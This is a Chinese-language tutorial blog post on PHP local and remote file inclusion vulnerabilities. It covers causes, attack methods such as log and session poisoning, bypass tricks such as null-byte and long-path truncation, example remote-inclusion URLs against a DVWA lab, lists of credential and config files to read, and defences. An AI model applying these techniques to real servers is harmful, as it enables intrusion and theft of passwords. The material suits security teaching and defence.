• web漏洞之文件包含


    一、概述

    1.1简介

      服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。这意味着您可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,您只更新一个包含文件就可以了,或者当您向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)

    1.2文件包含函数

    函数 区别
    require() 在包含的过程中如果出现错误,会直接报错并退出程序的执行
    include() 在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行
    require_once() 和require函数相同,但只包含一次
    include_once() 和include函数相同,但只包含一次

    二、产生原因

      文件包含的函数在使用时没有对获取的参数进行严格过滤和审查,导致包含的文件路径用户可控,包含执行了恶意脚本代码,从而超出我们期望执行的范围,比如下面代码:

     

      上面的代码将我们前端获取的路径没有做任何过滤直接进行了执行,如果用户输入的是一个恶意脚本的路径地址,就有可能执行恶意脚本导致出现安全隐患。

    三、常见位置

           URL栏中有以下内容则可能存在文件包含

          ?page=

          ?file=

          ?home=

    四、攻击方法

           1.利用文件包含可以读取目标服务器上其他文件

           2.利用input写入文件,条件allow_url_include = On

           3.结合文件上传可以包含我们上传的getshell脚本,达到执行脚本的目的

           4.利用日志包含写入一句话等

           5.包含session文件查看用户名密码,也可以在PHPmyadmin登录框插入一句话,如果写入session日志文件,就可以通过包含sessio文件getshell

    五、绕过方法

    5.1本地文件包含绕过

      5.1.1绕过特殊字符过滤

      5.1.2可以采用大小写和复写来进行绕过

      5.1.3编码绕过,对要包含的url进行编码

      5.1.4%00截断,条件:magic_quotes_gpc = Off php版本<5.3.4

      5.1.5使用长字节截断,

      在Windows下目录最大长度为256字节,Linux下为4096字节,后面超过的部分会被忽略。因此可以使用足够长的目录进行访问,前面使用./././或////等内容进行填充,超过256字节或者4096字节后再在后面添加想要包含的内容,这样超过的部分服务器就不会再进行检测,但是执行的时候还是会对后面添加的内容进行执行

    5.2远程文件包含绕过

    5.2.1?号绕过,在要包含的文件末尾加一个问号

    http://192.168.10.130/dvwa/vulnerabilities/fi/?page=http://192.168.10.129/1.txt?

    5.2.2#号绕过,在要包含的文件末尾加一个#号(转义为:%23)

    http://192.168.10.130/dvwa/vulnerabilities/fi/?page=http://192.168.10.129/1.txt%23

    六、防御方法

           1.严格过滤和限制包含中的参数,取消那些不可控的参数。

      2.开启open_basedir()函数,将其设置为指定目录,只允许制定目录可以访问。

      3.如果不需要文件包含,则关闭allow_url_include()函数,防止远程文件包含

      4.如果需要使用文件包含,尽量使用白名单的方法对要包含的文件进行限制,不要使用黑名单进行限制,这样可以做到既使用了文件包含,又可以防止文件包含漏洞

    七、危害

           1.敏感信息泄露(配置文件、源码、数据库配置文件、用户名密码文件等等)

           2.服务器被执行恶意脚本,失去控制

    八、常见包含文件

    8.1Window常见默认文件

    路径

    描述

    C:oot.ini

    查看系统版本

    C:windowssystem32inetsrvMetaBase.xml

    IIS 配置文件

    C:windows epairsam

    存储 windows 系统初次安装的密码

    C:Program Filesmysqlmy.ini

    mysql 配置

    C:Program Filesmysqldatamysqluser.MYD

    查看MySQLroot密码

    C:windowsphp.ini

    php 配置信息

    C:windowsmy.ini

    mysql 配置文件

    8.2Linux/Unix常见文件

    路径

    描述

    /etc/passwd

    查看账户信息

    /etc/shadow

    查看密码文件

    /usr/local/app/apache2/conf/httpd.conf

    apache2 默认配置文件

    /usr/local/app/apache2/conf/extra/httpd-vhosts.conf

    虚拟网站设置

    /usr/local/app/php5/lib/php.ini

    PHP 相关配置

    /etc/httpd/conf/httpd.conf

    查看Apache配置文件

    /etc/my.conf

    查看MySQL配置文件

    8.3常见日志默认路径

    路径

    描述

    /etc/httpd/logs/access_log

    Apache在Linux中日志默认路径

    /var/log/httpd/access_log

    D:xamppapachelogsaccess.log

    Apache在win2003中日志默认路径

    D:xamppapachelogserror.log

    C:WINDOWSsystem32Logfiles

    IIS6.0在win2003中默认日志文件

  • 相关阅读:
    Linux OpenSSH后门的加入与防范
    Oracle APEX 4.2安装和配置
    springboot 配置jsp支持
    java 多线程 yield方法的意义
    java多线程状态转换
    Jquery_artDialog对话框弹出
    ThinkPHP框架学习摘要
    js弹窗对象不能通过全局对象移到外部函数中执行
    关于rawurldecode PHP自动解码
    td高度不随内容变化display:block;display:block;display:block;display:block;display:block;
  • 原文地址:https://www.cnblogs.com/bin1121/p/12606894.html
Copyright © 2020-2023  润新知